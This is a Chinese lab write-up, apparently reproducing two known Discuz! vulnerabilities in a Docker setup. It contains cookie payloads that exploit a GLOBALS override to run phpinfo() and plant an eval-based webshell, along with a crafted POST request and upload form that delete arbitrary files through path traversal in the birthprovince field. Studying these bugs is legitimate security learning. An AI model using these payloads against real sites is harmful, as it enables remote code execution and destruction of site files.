Discuz简介:
Crossday Discuz! Board(简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是北京康盛新创科技有限责任公司推出的一套通用的社区建站系统,站长可以不需要任何编程基础,通过简单的安装和设置,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的网站。Discuz! 的基础架构采用世界上最流行的web编程组合PHP+MySQL实现,是一个经过完善设计,适用于各种服务器环境的高效建站解决方案。
全局变量防御绕过导致代码执行(wooyun-2010-080723)
漏洞原理:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$ _REQUEST中不再包含$ _COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
安装数据库:
http://ip:8080/install/
填写联系方式后,自动跳转页面
登陆后随意找一个帖子抓包,在cookie中加入
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
成功打印phpinfo信息
getshell操作:
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui;
GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[shell])%3B;
用蚁剑连接
Value是请求包里cookie的值
Discuz!X ≤3.4 任意文件删除漏洞
访问本地robots.txt,文件是存在的
安装数据库
注册用户
个人资料页面
在个人主页找到formhash
带上ip,cookie、formhash发送数据包
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
`
此时可以看到个人资料页面出生地被修改
说明我们的脏数据已经进入数据库了。
进入docker容器内,可以看到robots.txt
写入一个upload文件
<body>
<form action="http://192.168.102.8/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=
[formhash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
找到docker里面网站的存放目录(费老鼻子劲啊我去)
想尝试一下ftp传送文件
连接xftp,传送upload文件
访问一下,随便上传一个图片
可以看到出生地被修改成图片名了
查看文件目录,可以看到robots.txt被删除了访问一下
OK!
(tips:用最开始的浏览器访问还是能访问到,我猜是缓存的原因,换了个浏览器就好了)